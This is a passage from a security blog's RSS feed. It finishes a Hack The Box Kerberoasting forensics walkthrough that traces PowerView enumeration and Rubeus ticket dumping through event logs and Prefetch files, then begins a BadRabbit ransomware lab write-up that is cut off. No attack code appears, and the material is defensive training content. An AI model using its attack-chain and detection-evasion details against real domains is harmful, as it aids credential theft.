value&lt;/p&gt;&#xA;&lt;p&gt;At this point, we’ve isolated the Kerberos service ticket request that matches known Kerberoasting indicators and identified the precise UTC timestamp associated with it. With that information in hand, we can confidently answer &lt;strong&gt;Question 1&lt;/strong&gt; and move forward with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;41706b3dda495ae4624ed1532a7975b1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1207px&#34; data-flex-grow=&#34;503&#34; height=&#34;159&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/41706b3dda495ae4624ed1532a7975b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-2-3&#34;&gt;Questions 2 &amp;amp; 3:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-service-name-that-was-targeted&#34;&gt;What is the Service Name that was targeted?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;it-is-really-important-to-identify-the-workstation-from-which-this-activity-occurred-what-is-the-ip-address-of-the-workstation&#34;&gt;It is really important to identify the Workstation from which this activity occurred. What is the IP Address of the workstation?&#xA;&lt;/h4&gt;&lt;p&gt;To answer &lt;strong&gt;Questions 2 &amp;amp; 3&lt;/strong&gt;, we need to look a bit more closely at the event we identified in &lt;strong&gt;Question 1&lt;/strong&gt;. Specifically, we’re going to examine the &lt;em&gt;Description&lt;/em&gt; details for that Kerberos service ticket request. There’s a wealth of useful forensic information here, but for now we’re focused on two things: the service that was targeted and the workstation that made the request.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b376967c4f52bc72c3a2eeaf3543caf7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;368px&#34; data-flex-grow=&#34;153&#34; height=&#34;521&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/b376967c4f52bc72c3a2eeaf3543caf7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the targeted service account and requesting client address&lt;/p&gt;&#xA;&lt;p&gt;If you recall from the primer, I mentioned that service accounts are the ones that typically have registered &lt;em&gt;Service Principal Names&lt;/em&gt;. We can see that pattern clearly in this event. Under &lt;em&gt;Service Information&lt;/em&gt;, the &lt;em&gt;Service Name&lt;/em&gt; field shows &lt;code&gt;MSSQLService&lt;/code&gt;. That immediately stands out because &lt;code&gt;MSSQLService&lt;/code&gt; is the SPN used by Microsoft SQL Server to authenticate database services. This fits neatly into the expected attack chain.&lt;/p&gt;&#xA;&lt;p&gt;That gives us our answer for &lt;strong&gt;Question 2&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Next, we need to identify the workstation responsible for making this request. This information lives a bit further down in the same event under &lt;em&gt;Network Information&lt;/em&gt;. Here we can see the &lt;em&gt;Client Address&lt;/em&gt;, which records the IPv4 address of the system that requested the service ticket.&lt;/p&gt;&#xA;&lt;p&gt;In this case, the address listed is &lt;code&gt;172.17.79.129&lt;/code&gt;. That tells us exactly where the request originated from and gives us a starting point for pivoting into the workstation‑side artifacts later in the investigation.&lt;/p&gt;&#xA;&lt;p&gt;With the targeted service identified and the requesting workstation pinned down, we’ve now answered &lt;strong&gt;Questions 2 &amp;amp; 3&lt;/strong&gt; and set ourselves up nicely for the next phase of analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;af25971140b5e31ef7cef2b83c21b1b1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;571px&#34; data-flex-grow=&#34;238&#34; height=&#34;336&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/af25971140b5e31ef7cef2b83c21b1b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-4-5&#34;&gt;Questions 4 &amp;amp; 5:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;now-that-we-have-identified-the-workstation-a-triage-including-powershell-logs-and-prefetch-files-are-provided-to-you-for-some-deeper-insights-so-we-can-understand-how-this-activity-occurred-on-the-endpoint-what-is-the-name-of-the-file-used-to-enumerate-active-directory-objects-and-possibly-find-kerberoastable-accounts-in-thenetwork&#34;&gt;Now that we have identified the workstation, a triage including PowerShell logs and Prefetch files are provided to you for some deeper insights so we can understand how this activity occurred on the endpoint. What is the name of the file used to Enumerate Active directory objects and possibly find Kerberoastable accounts in the network?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;when-was-this-script-executed-utc&#34;&gt;When was this script executed? (UTC)&#xA;&lt;/h4&gt;&lt;p&gt;Moving right along, the next thing we need to tackle is figuring out exactly which tool was used on the workstation to enumerate Active Directory objects and discover Kerberoastable accounts with exposed SPNs. For that, we’ll pivot away from the Domain Controller and jump over to the workstation artifacts.&lt;/p&gt;&#xA;&lt;p&gt;The first artifact we’ll look at is the &lt;code&gt;PowerShell-Operational.evtx&lt;/code&gt; log. This log records PowerShell operational activity, including cmdlet execution and script content via &lt;em&gt;Script Block Logging&lt;/em&gt;. That makes it an excellent data source when we suspect malicious PowerShell activity on an endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Jump back into &lt;strong&gt;Event Log Explorer&lt;/strong&gt; and load &lt;code&gt;PowerShell-Operational.evtx&lt;/code&gt;. From here, we’ll focus on &lt;em&gt;Event ID&lt;/em&gt; &lt;code&gt;4104&lt;/code&gt;, which corresponds to &lt;em&gt;PowerShell Script Block Logging&lt;/em&gt;. This event type often exposes exactly what code was executed, even if the script itself was run from disk or memory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5432871305ab561cd3470904a749bebe_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;370px&#34; data-flex-grow=&#34;154&#34; height=&#34;518&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/5432871305ab561cd3470904a749bebe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Finding evidence of PowerView execution&lt;/p&gt;&#xA;&lt;p&gt;The evidence shows up across multiple &lt;code&gt;4104&lt;/code&gt; events, but by navigating to the earliest occurrences, we can see where this activity began. In those initial events, the script content clearly references &lt;code&gt;powerview.ps1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For context, &lt;strong&gt;PowerView&lt;/strong&gt; is a reconnaissance module that’s part of &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0194/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PowerSploit&lt;/strong&gt;&lt;/a&gt;, an open‑source offensive PowerShell framework. &lt;em&gt;PowerView&lt;/em&gt; is used for domain enumeration tasks such as identifying user accounts, group memberships, and service accounts with SPNs. In other words, a very common tool used to discover Kerberoastable accounts during the discovery phase of an attack. This gives us what we need to answer &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0194/&#34;  title=&#34;https://attack.mitre.org/software/S0194/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PowerSploit&lt;/strong&gt;&#xA;_PowerSploit is an open source, offensive security framework comprised of PowerShell modules and scripts that perform a…_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0194/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we’ve also identified the first &lt;em&gt;Script Block Logging&lt;/em&gt; event that references this file, we now have what we need to answer &lt;strong&gt;Question 5&lt;/strong&gt; as well. As before, the question asks for the execution time in &lt;strong&gt;UTC&lt;/strong&gt;, so we can’t rely on the default timestamp shown in the event viewer.&lt;/p&gt;&#xA;&lt;p&gt;To get the correct value, double‑click the event, switch to the &lt;em&gt;XML&lt;/em&gt; tab, and locate the &lt;code&gt;&amp;lt;SystemTime&amp;gt;&lt;/code&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;54c503418a8f60d46a64325288f6a2d4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;370px&#34; data-flex-grow=&#34;154&#34; height=&#34;518&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/54c503418a8f60d46a64325288f6a2d4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Grabbing the timestamp of PowerView execution&lt;/p&gt;&#xA;&lt;p&gt;With the tool identified and the execution time confirmed, we’ve now answered &lt;strong&gt;Questions 4 &amp;amp; 5&lt;/strong&gt; and established how the attacker enumerated Active Directory from the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ec6a06a4324f4dea2cf847e4889940ed_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;964px&#34; data-flex-grow=&#34;402&#34; height=&#34;199&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/ec6a06a4324f4dea2cf847e4889940ed_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3d42bd5690ba4660abcaabe5f621e79b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1149px&#34; data-flex-grow=&#34;479&#34; height=&#34;167&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/3d42bd5690ba4660abcaabe5f621e79b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-6-7&#34;&gt;Questions 6 &amp;amp; 7:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-full-path-of-the-tool-used-to-perform-the-actual-kerberoasting-attack&#34;&gt;What is the full path of the tool used to perform the actual kerberoasting attack?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;when-was-the-tool-executed-to-dump-credentials-utc&#34;&gt;When was the tool executed to dump credentials? (UTC)&#xA;&lt;/h4&gt;&lt;p&gt;Our final pair of tasks is to figure out the tool that the attacker actually ran to perform the Kerberoasting attack against the Domain Controller. To do that, we’ll pivot away from event logs entirely and turn to our third forensic artifact: &lt;strong&gt;Windows Prefetch files.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;These files are located under the following directory in the challenge artifacts:&lt;/p&gt;&#xA;&lt;p&gt;\Triage\Workstation\2024-05-21T033012_triage_asset\C\Windows\prefetch&lt;/p&gt;&#xA;&lt;p&gt;Rather than reinvent the wheel explaining what these are and their value, I’ll borrow a solid explanation from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user’s application history on a computer.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The idea here is that if we can parse these Prefetch files, we should be able to identify which executable was launched on the workstation during the attack window and determine its file path. This gives us visibility into the actual Kerberoasting tool used, even if it didn’t leave obvious footprints elsewhere.&lt;/p&gt;&#xA;&lt;p&gt;The downside is that Prefetch files aren’t meant to be read directly, so we need a way to convert them into something usable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;448ae486ff20ba35e6cbf6d4a362b13d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;369px&#34; data-flex-grow=&#34;154&#34; height=&#34;519&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/448ae486ff20ba35e6cbf6d4a362b13d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The contents of the prefetch folder&lt;/p&gt;&#xA;&lt;p&gt;Enter &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PECmd&lt;/strong&gt;&lt;/a&gt;, one of the many tools in &lt;em&gt;Eric Zimmerman’s&lt;/em&gt; suite. It’s built to parse the prefetch logs and it’s already loaded in the analysis environment, so we just need to run it from PowerShell. Here’s an example command where we tell &lt;code&gt;PECmd&lt;/code&gt; to parse the prefetch directory and output to a CSV called &lt;code&gt;investigation.csv&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;To do that, we’ll use &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PECmd&lt;/strong&gt;&lt;/a&gt;, one of the tools in &lt;strong&gt;Eric Zimmerman’s&lt;/strong&gt; forensic suite. It’s specifically built to parse Prefetch files and extract execution metadata, and it’s already available in the analysis environment.&lt;/p&gt;&#xA;&lt;p&gt;From PowerShell, we can run the following command to parse the Prefetch directory and export the results to a CSV file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b5ef65766209614add8813763289e24a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1411px&#34; data-flex-grow=&#34;588&#34; height=&#34;136&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/b5ef65766209614add8813763289e24a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;.\PECmd.exe -d &amp;ldquo;C:\Users\vboxuser\Desktop\Challenges\Triage\Workstation\2024-05-21T033012_triage_asset\C\Windows\prefetch&amp;quot; &amp;ndash;csv &amp;ldquo;C:\Users\vboxuser\Desktop\Challenges&amp;rdquo;&amp;ndash;csvf investigation.csv&lt;/p&gt;&#xA;&lt;p&gt;Once the CSV is generated, we can open it using &lt;strong&gt;Timeline Explorer&lt;/strong&gt;, another Zimmerman tool that makes sorting and filtering forensic timelines much easier.&lt;/p&gt;&#xA;&lt;p&gt;Inside &lt;em&gt;Timeline Explorer&lt;/em&gt;, focus on the &lt;em&gt;Executable Name&lt;/em&gt; column. This is where we’re looking for the tool responsible for the Kerberoasting activity. Scanning through the results, one name immediately stands out among the normal background applications. Can you spot it?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2345008468bffe8521695e242c1455dd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;486px&#34; data-flex-grow=&#34;202&#34; height=&#34;395&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/2345008468bffe8521695e242c1455dd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Finding the tool that performed the kerberoasting and the time of execution&lt;/p&gt;&#xA;&lt;p&gt;The tool is &lt;strong&gt;Rubeus&lt;/strong&gt; (S1071), a well‑known Kerberos abuse tool frequently used to perform Kerberoasting, ticket harvesting, and other Kerberos‑focused attacks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S1071/&#34;  title=&#34;https://attack.mitre.org/software/S1071/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Rubeus&lt;/strong&gt;&#xA;_Edit description_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S1071/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To determine the full file path, select the &lt;em&gt;Files Loaded&lt;/em&gt; column for the &lt;em&gt;Rubeus&lt;/em&gt; entry and double‑click it to open the detailed view. This reveals the full path used when the executable was launched. Since Prefetch paths are recorded relative to the drive, we simply need to prepend &lt;code&gt;C:\&lt;/code&gt; to reconstruct the complete path to answer &lt;strong&gt;Question 6.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, to answer &lt;strong&gt;Question 7&lt;/strong&gt;, we can pull the execution time directly from the &lt;em&gt;Last Run&lt;/em&gt; column in the Prefetch data. As with earlier steps, this timestamp is recorded in UTC, so no time zone conversion is required.&lt;/p&gt;&#xA;&lt;p&gt;At this point, we’ve identified the exact tool used to dump Kerberos service tickets, confirmed where it lived on disk, and pinned down when it was executed, neatly closing out &lt;strong&gt;Questions 6 &amp;amp; 7&lt;/strong&gt; and our investigation. Nice job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;caffb41f0b1d5d476207fff5688f4a14_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;571px&#34; data-flex-grow=&#34;238&#34; height=&#34;336&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/caffb41f0b1d5d476207fff5688f4a14_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;b69ab59d31db6b09af0b2cbb2167b5f7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;348px&#34; data-flex-grow=&#34;145&#34; height=&#34;551&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/b69ab59d31db6b09af0b2cbb2167b5f7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Great challenge, how fun was that? A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This lab ended up being a good reminder of just how much signal exists in event logging if you take the time to really understand how domain authentication works. Kerberos isn’t new, and Kerberoasting isn’t either, but walking through the mechanics step by step makes it clear why weak service account hygiene still represents real risk in modern environments. Nothing wild here, just attackers leveraging expected behavior in ways defenders need to anticipate.&lt;/p&gt;&#xA;&lt;p&gt;What I appreciated most about this challenge is that there wasn’t a single log or artifact that magically answered everything. Instead, we had to move between Domain Controller security logs, &lt;em&gt;PowerShell&lt;/em&gt; operational telemetry, and workstation artifacts like Prefetch. Each source gave us part of the picture, but none of them stood on their own. Correlation is key.&lt;/p&gt;&#xA;&lt;p&gt;Leveraging &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; as a reference point also paid off here. Rather than hunting randomly, it helped home in on what to look for, why certain events were important, and how those signals might translate into detections later on. This is the kind of challenge that quietly reinforces how ATT&amp;amp;CK can guide both investigations and detection engineering without forcing the analysis into a rigid mold. Awesome stuff.&lt;/p&gt;&#xA;&lt;p&gt;If you got something out of this walkthrough, whether it helped you better understand Kerberos abuse, work through a stumbling block, or just served as a practical reference, feel free to give it a clap and follow along. I really appreciate the support, and I hope these write‑ups continue to be useful.&lt;/p&gt;&#xA;&lt;p&gt;Remember, cybersecurity is a team sport, and we’re in this together.&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge, stay curious and be safe out there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Campfire-1?tab=play_sherlock&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/Campfire-1?tab=play_sherlock&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Steal or Forge Kerberos Tickets:&lt;/strong&gt; &lt;strong&gt;Kerberoasting(T1558.003):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1558/003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft — “Microsoft’s guidance to help mitigate Kerberoasting”:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Event Log Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eventlogxp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — “4769(S, F): A Kerberos service ticket was requested”:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — PowerSploit (S0194):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0194/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0194/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics Blog — “&lt;/strong&gt;&lt;em&gt;Forensic Analysis of Prefetch files in Windows&lt;/em&gt;&lt;strong&gt;”:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman’s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — Rubeus (S1071):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S1071/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S1071/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders — BRabbit Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/</link>
            <pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/64f42e72ee3b5f8e30009b1e2df30104_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders — BRabbit Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders-brabbit-lab-walkthrough&#34;&gt;CyberDefenders: BRabbit Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;badrabbit-ransomware-analysis-correlating-threat-intelligence-sandbox-reports-and-attckmapping&#34;&gt;BadRabbit Ransomware Analysis: Correlating Threat Intelligence, Sandbox Reports, and ATT&amp;amp;CK Mapping&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;402px&#34; data-flex-grow=&#34;167&#34; height=&#34;238&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/64f42e72ee3b5f8e30009b1e2df30104_MD5.png&#34; width=&#34;399&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this post while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;BRabbit&lt;/strong&gt;&lt;/a&gt; blue team lab from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This one drops us straight into incident response mode, where a single convincing phishing email turns into a full-blown ransomware outbreak.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re assisting a fictional organization that fell victim to ransomware after an employee opened what appeared to be a routine email from their boss. Familiar logo, familiar email address, and a seemingly harmless attachment. After opening it, the system is compromised, sensitive files are encrypted, and the victim can no longer boot. Yikes.&lt;/p&gt;&#xA;&lt;p&gt;On paper, the mission is simple. Identify the malware, understand its behavior, learn how it persists, how it communicates, how it damages the system, and where it might have come from. In practice, it&amp;rsquo;s a lot messier. The twist here is that we&amp;rsquo;re not always taking the fastest route to the answer. Instead, I intentionally stayed within the constraints of threat intelligence platforms and public sandbox reports.&lt;/p&gt;&#xA;&lt;p&gt;That means leaning heavily on tools like 